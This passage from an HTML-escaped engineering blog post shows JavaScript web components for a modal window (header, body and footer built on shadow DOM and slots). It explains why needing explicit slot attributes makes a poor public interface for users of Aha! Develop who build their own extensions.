&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          display: inline-flex;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          flex-direction: column;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          border: 1px solid gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          box-shadow: 0 0.8rem 0.8rem gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot name=&quot;header&quot;&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot name=&quot;body&quot;&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot name=&quot;footer&quot;&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalHeader&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          background: #ddd;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          border-bottom: 1px solid gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          padding: 0.5rem;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalBody&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          background: #fff;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          padding: 0.5rem;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalFooter&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          background: #ddd;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          border-top: 1px solid gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          padding: 0.5rem;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-window&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalWindow);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-header&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalHeader);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalBody);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-footer&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalFooter);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When using our web component within our page, we&apos;d likely write something similar to this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- HTML --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; slot&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;header&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Header stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; slot&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Body stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; slot&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;footer&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Footer stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;which in turn would render as:&lt;/p&gt;
&lt;img src=&quot;/ca76e2924338271ced0c879494cfe65f/modal.png&quot; class=&quot;p-10&quot; alt=&quot;Rendered modal window component&quot; /&gt;
&lt;p&gt;So what&apos;s the problem? Everything works, isn&apos;t that enough?&lt;/p&gt;
&lt;h2&gt;The problem&lt;/h2&gt;
&lt;p&gt;The particular issue we have with the above example is that not all of our web components are made for internal use.&lt;/p&gt;
&lt;p&gt;Recently, we launched &lt;a href=&quot;https://www.aha.io/support/develop/develop/introduction/getting-started&quot;&gt;Aha! Develop&lt;/a&gt; which allows our &lt;em&gt;users&lt;/em&gt; to create and use custom components that they develop within their accounts, greatly extending the capabilities of Aha! Develop to encompass almost anything a customer could desire.&lt;/p&gt;
&lt;p&gt;With this power came a problem, however.&lt;/p&gt;
&lt;p&gt;Because people using Aha! Develop are building their own components, which they would want to seamlessly blend with the rest of the application&apos;s interface, they are using web component building blocks that we created and adding functionality to them. So our users would be building their own custom web components using things like &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt; above. And when exposing internal tools to the public at large you learn a lesson quickly: &lt;em&gt;the interface matters.&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- HTML --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; slot&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;header&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Header stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; slot&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Body stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; slot&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;footer&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Footer stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a developer who is familiar with web components and who is building a modal window, it&apos;s tedious and error prone to have to remember that the &lt;code&gt;&amp;#x3C;modal-header&gt;&lt;/code&gt; component has to be slotted into the &lt;code&gt;header&lt;/code&gt; slot within the parent &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt; component. Needing to understand that level of detail about how things get constructed in &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt; is a bit of a code smell too. Developers shouldn&apos;t need to understand how a component is made in order to use that component.&lt;/p&gt;
&lt;p&gt;Worse, if the person developing the Aha! Develop extension is unfamiliar with web components, then they likely will not understand the need for the &lt;code&gt;slot&lt;/code&gt; declaration at all. Sure, we could point them to helpful MDN articles and let them figure it out for themselves, but why should we make them absorb all that context to use something that looks like simple HTML tags when &lt;em&gt;we&lt;/em&gt; can do more to make their lives easier?&lt;/p&gt;
&lt;p&gt;Ideally, a &lt;code&gt;&amp;#x3C;modal-header&gt;&lt;/code&gt; would just &lt;em&gt;know&lt;/em&gt; that it belongs at the top of a &lt;code&gt;&amp;#x3C;modal-window&gt;&lt;/code&gt;, just like &lt;code&gt;&amp;#x3C;modal-footer&gt;&lt;/code&gt; would &lt;em&gt;know&lt;/em&gt; it belongs at the bottom. We want a clean and simple public interface like the following:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- HTML --&gt;&lt;/span&gt;&lt;/span&gt;
